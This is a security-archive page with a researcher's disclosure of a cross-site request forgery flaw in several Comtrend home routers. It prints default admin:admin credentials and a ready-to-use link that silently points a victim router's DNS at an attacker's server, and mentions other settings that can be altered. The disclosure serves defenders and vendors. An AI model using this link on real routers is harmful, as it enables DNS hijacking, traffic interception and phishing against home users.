exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Comtrend Cross Site Request Forgery

Comtrend Cross Site Request Forgery
Posted Aug 17, 2015
Authored by Javier Vicente Vallejo

Various Comtrend routers suffer from cross site request forgery vulnerabilities.

tags | exploit, vulnerability, csrf
SHA-256 | e075f47c52d3263edf9bcad894a9d0275e22ef6410176b35861b5f4f4b21a56c

Comtrend Cross Site Request Forgery

Change Mirror Download
Hello all,

i would like to share with you a security issue that i found with some
Comtrend's routers and probably other manufacturer's routers.

The method would let us to configure some router models when a user
clicks a link created by us. I have not read about this method on the
internet, sorry if I am wrong and it’s not new. The method is quite
simple. It is usual to find routers with default passwords. And these
devices usually offers a HTTP based interface to configure them. And
some models accept configuration parameters through the URL.

For example, here it is the javascript source code of the VR-3025un’s
menu for DNS configuration:

function btnApply() {
var loc = 'dnscfg.cgi?';
with ( document.forms[0] ) {
if ( isValidIpAddress(dnsPrimary.value) == false ) {
alert('Primary DNS "' + dnsPrimary.value + '" has invalid IP address.');
return;
}
loc += 'dnsPrimary=' + dnsPrimary.value;
if (dnsSecondary.value != '') {
if ( isValidIpAddress(dnsSecondary.value) == false ) {
alert('Secondary DNS "' + dnsSecondary.value + '" has invalid
IP address.');
return;
}
loc += '&dnsSecondary=' + dnsSecondary.value;
}
else
loc += '&dnsSecondary=' + '0.0.0.0';
loc += '&dnsRefresh=1';
}
loc += '&sessionKey=' + sessionKey;
var code = 'location="' + loc + '"';
eval(code);
}

The default user:password for this router is admin:admin. The default
ip address for the network router is 192.168.1.1.

If the user clicks this simple URL (for example if he receives it by
email), our malicious DNS server will be set to the device:

http://admin:admin@192.168.1.1/dnscfg.cgi?dnsRefresh=1&dnsPrimary=<ip_address_malicious_dns_server>&dnsSecondary=<ip_address_malicious_dns_server2>

Other configurations could be modified too (proxies, DMZ, WAN
interface access,…).

(Note in the javascript code, a sessionKey is used. It seems to be
ignored by dnscfg.cgi and the new DNS configuration is set with no
problems).


Here you can find the complete article that i wrote in my web:
http://vallejo.cc/2015/08/16/poor-security-in-soho-routers-again-changing-configuration-parameters-with-a-click/


Models tested:

Comtrend VR-3025un
Comtrend AR-5387un
Comtrend AR-5381un

These routers are currently being used by many jazztel ISP’s clients
in Spain (maybe other ISPs in other countries use these models too).

Almost sure, other Comtrend models are vulnerable. And probably,
models from other manufacturers are vulnerable to this method too
(adapting the URL to the specific device).


Mitigation:

Internet Explorer doesn’t accept username and password in the URL (I
mean the syntax http://user:password@domain.com). Currently Chrome and
Firefox are accepting username and password in the URL. I don’t know
about other browsers.



--
Javier Vicente Vallejo
http://www.vallejo.cc
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close